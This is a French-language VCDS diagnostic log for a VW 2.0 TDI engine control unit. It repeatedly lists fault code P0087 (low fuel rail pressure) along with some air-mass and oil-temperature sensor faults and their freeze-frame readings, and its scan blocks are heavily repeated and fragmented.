Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
10065 - Débitmètre d´air massique (G70) Aucun signal
P0104 00 [167] - -
Témoin allumé - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
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Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Fréquence du défaut: 2
Kilométrage: 277258 km
Date: 2023.05.15
Temps: 10:42:02
Régime moteur: 0.00 /min
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
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Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 28 °C
Température air d’admission: 28 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 12.100 V
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 0.0 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 0 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 892.0 hPa
Débit d'injection moyen: 0.00 mg/course
5281 - Débitmètre d´air massique (G70) Signal implausible
P0101 00 [096] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 277258 km
Date: 2023.05.15
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 08:53:35
Régime moteur: 2020.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 28 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 22 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 13.020 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 192.8 mg/course
Rapport de flux d'air normalisé: filtré: 2.1831
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 1912 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 946.0 hPa
Débit d'injection moyen: 12.21 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Tests passés: 0 0 0 0 X
___________________________________________________________________________
Mardi,16,Mai,2023,11:38:19:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
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Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
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6 Codes défaut trouvés:
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
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Date: 2024.09.07
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Régime moteur: 2981.50 /min
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Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
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Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
4794 - Débitmètre d´air massique (G70) Signal implausible
P0101 00 [237] - -
Témoin allumé - Confirmé - Testé depuis RàZ mémoire
Capture:
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Lundi,09,Septembre,2024,15:47:56:00009
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5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
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Kilométrage: 327837 km
Date: 2024.09.07
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Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
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Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
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Date: 2023.05.15
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Lundi,09,Septembre,2024,15:47:56:00009
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Adresse 01: Moteur Labels: [Link]
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5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
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Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
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Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 43 km/h
Température du liquide de refroidissement: 90 °C
Température air d’admission: 67 °C
Pression de l'air ambiant: 870 mbar
Tension borne 30: 14.360 V
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 374.8 mg/course
Rapport de flux d'air normalisé: filtré: 1.1874
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 1251 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 949.6 hPa
Débit d'injection moyen: 0.00 mg/course
4635 - Transmetteur de température d´huile (G8) Signal implausible
P0196 00 [036] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 277304 km
Date: 2023.05.16
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 10:56:11
Régime moteur: 0.00 /min
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 23 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 23 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 12.020 V
Compteur de désapprentissage selon OBD: 40
Consommation de carburant: 0.00 l/h
Température d'huile moteur: 35.2 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Seuil d'alerte huile: 0.000 mm
Statut des contacteurs de pression d’huile-Bits 0-7: 0
Niveau d'huile: 120.000 mm
Détecteur de temp. extérieure 1 banc 1: valeur brute: 20.5 °C
Transmetteur 1 temp. de carburant banc 1: valeur brute: 22.6 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
4640 - Transmetteur de température d´huile (G8) Signal trop faible
P0197 00 [036] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Fréquence du défaut: 1
Kilométrage: 277304 km
Date: 2023.05.16
Temps: 10:56:15
Régime moteur: 0.00 /min
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
